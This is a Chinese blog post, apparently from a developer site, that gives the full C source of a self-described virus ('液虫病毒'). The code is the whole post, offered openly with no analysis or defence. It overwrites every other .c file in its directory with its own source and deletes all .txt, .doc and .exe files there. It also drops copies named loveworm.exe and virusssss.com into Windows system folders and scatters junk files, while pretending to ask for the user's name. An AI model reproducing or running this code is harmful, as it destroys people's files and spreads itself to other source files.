一个C病毒 - -!

//连接头文件

#include <io.h>

#include <dir.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

//拷贝文件模块

int copyfile (char *infile, char *outfile)

{

    FILE *in,*out; //定义文件指针

    in = fopen(infile,"r"); //打开文件

    out = fopen(outfile,"w"); //建立文件

    while (!feof(in)) //判断文件是否已结束

    {

        fputc (fgetc(in),out); //从in读一字符到out

    }

    fclose (in); //关闭in文件

    fclose (out);//关闭out文件

    return 0; //返回

}

int MakeRubbish (void)

{

    int i; //声明整形变量i

    FILE *fp; //文件指针fp

    char *path; //路径指针

    char *NewName;

    char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组

    char *addtion = "://";

    for (i = 0; i<5; i++) //循环4次

    {

        char tempname[] = "XXXXXX" ; //随机名字

        NewName = mktemp(tempname);  //建立唯一的文件名

        fp = fopen(NewName,"w");  //创建文本文件

        fclose (fp); //关闭fp文件流

    }

    path = strcat(disk[getdisk()],addtion); //得到根编号

    chdir(path); //改变工作目录

    for (i = 0; i<5; i++) //循环次数

    {

        char tempname[] = "XXXXXX"; //串赋入数组

        NewName = mktemp(tempname); //建立唯一的文件名

        fp = fopen(NewName,"w");    //创建新文件

        fclose (fp); //关闭文件

    }

    return 0; //返回

}

int CreatEXE (void)

{

    int i; //整形变量

    char *path; //字符指针

    char *s[2] = {         //重要目录

                    "C://WINDOWS//system32//loveworm.exe",

                    "C://WINDOWS//virusssss.com"

                 };

    for ( i = 0; i < 2; i++) //循环控制次数

    {

        open(s[i], 0x0100,0x0080); //打开文件写入数据

        copyfile ( "C_KILLER.C",s[i]); //调用子函数实现拷贝文件数据

    }

    return 0;

}

int Remove (void) //去处

{

    int done; //定义整形变量

    int i;

    struct ffblk ffblk; //声明结构体变量ffblk

    char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指针数组

    for (i = 0; i < 3; i++)//控制循环次数

    {

        done = findfirst(documenttype[i],&ffblk,2);//搜索目录

        while (!done) //查找成功返回0

        {

            remove (ffblk.ff_name); //删除一个文件

            done = findnext(&ffblk);

        }

    }

    return 0;//返回

}

int Breed (void) //养殖模块

{

    int done;//整形变量

    struct ffblk ffblk; //声名结构变量

    done = findfirst("*.c",&ffblk,2);

    while (!done)

    {

        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

        {

            copyfile("C_KILLER.C",ffblk.ff_name);

        }

        done = findnext(&ffblk);

    }

    return 0;

}

int main (void) //程序入口地址

{

    printf ("液虫病毒,by:仙剑逍遥./n");

    Breed (); //养殖病毒

    Remove (); //去处

    CreatEXE ();

    printf ("您能告诉我您的名字?/n");

    printf ("现在麻烦您输入您的名字!/n");

    MakeRubbish (); //调用子函数

    getchar ();

    clrscr (); //清除屏幕

    system ("cmd");

    getch ();

    return 0;

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值